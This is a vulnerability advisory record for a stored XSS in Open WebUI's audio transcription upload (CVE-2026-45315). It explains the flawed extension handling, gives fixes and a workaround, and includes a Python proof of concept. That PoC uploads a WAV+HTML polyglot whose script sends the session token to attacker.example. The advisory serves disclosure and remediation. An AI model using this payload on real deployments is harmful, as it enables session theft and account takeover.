{"id":"CVE-2026-45315","aliases":["GHSA-m8f9-9whg-f4xr","PYSEC-2026-2748"],"title":"Open WebUI has stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions","summary":"Open WebUI has stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions","severity":"high","cvss":8.7,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","vendor":"open-webui","product":"open-webui","ecosystem":"pip","affected":["open-webui < 0.9.3"],"patched":["open-webui 0.9.3"],"published":"2026-05-14","updated":"2026-07-13","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-m8f9-9whg-f4xr","references":[{"url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-m8f9-9whg-f4xr"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45315"},{"url":"https://github.com/open-webui/open-webui"},{"url":"https://github.com/open-webui/open-webui/releases/tag/v0.9.3"}],"tags":["osv","pip"],"epss":0.00186,"epssPercentile":0.08507,"ingestedAt":"2026-07-13T18:58:00.458Z","slug":"CVE-2026-45315","body":"## Overview\n\n## Summary                                                                                                                                                \n\n  The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/<uuid>.<ext>. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin.\n\n## Details\n  Verified on main @ 8dae237a (v0.9.2):                                                                                                       \n  - backend/open_webui/routers/audio.py:1244-1249 — ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No      \n  allowlist, no cross-check against file.content_type.                                                                                                   \n  - backend/open_webui/main.py:2768-2779 — /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension  \n  and sets no Content-Disposition.                                                                                                                         \n  - backend/open_webui/utils/misc.py:889-921 — strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload\n  passes regardless of the actual body.                                                                                                                    \n  - backend/open_webui/config.py:1482 — USER_PERMISSIONS_CHAT_STT defaults to True.                                                                      \n  - src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) — JWT lives in localStorage.token, reachable from JS in the origin.                       \n  - backend/open_webui/utils/oauth.py:1736-1739 — OAuth token cookie set with httponly=False.                                                              \n                                                                                                                                                           \n##  PoC                                                                                                                                                      \n                                                                                                                                                           \n  Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was \n  Content-Type: text/html; charset=utf-8 with no Content-Disposition.\n  ```python\n  import struct, httpx                                                                                                                                   \n\n  data = b'\\x80' * 44100                                                                                                                                   \n  wav  = struct.pack('<4sI4s4sIHHIIHH4sI',\n          b'RIFF', 36 + len(data), b'WAVE',                                                                                                                \n          b'fmt ', 16, 1, 1, 44100, 44100, 1, 8,                                                                                                         \n          b'data', len(data)) + data                                                                                                                       \n  payload = wav + b'<script>alert(document.domain);fetch(\"https://attacker.example/x?t=\"+localStorage.token)</script>'\n                      \n                                                                                                                                                           \n  r = httpx.post(                                                                                                                                          \n      'https://VICTIM/api/v1/audio/transcriptions',                                                                                                        \n      headers={'Authorization': f'Bearer {ATTACKER_JWT}'},                                                                                                 \n      files={'file': ('pwn.html', payload, 'audio/wav')},                                                                                                  \n  )                                                                                                                                                        \n  fn = r.json()['filename']      # '<uuid>.html'\n #Send victim to: https://VICTIM/cache/audio/transcriptions/<fn>                                                                 \n```\n\n\nhttps://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408\n\n\n\n                                                                                                                                        \n##  Impact                                                                                                                                                   \n                                                                                                                                                           \n  Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user — including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report.                                                                   \n\n  Affected: <= 0.9.2.\n\n  Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force         \n  Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie.\n                                                                                                                                                           \n  Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.\n\n## Affected packages\n\n- `open-webui < 0.9.3`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `open-webui 0.9.3`","depth":"twilight","depthScore":48,"depthScoreParts":{"impact":47.8,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}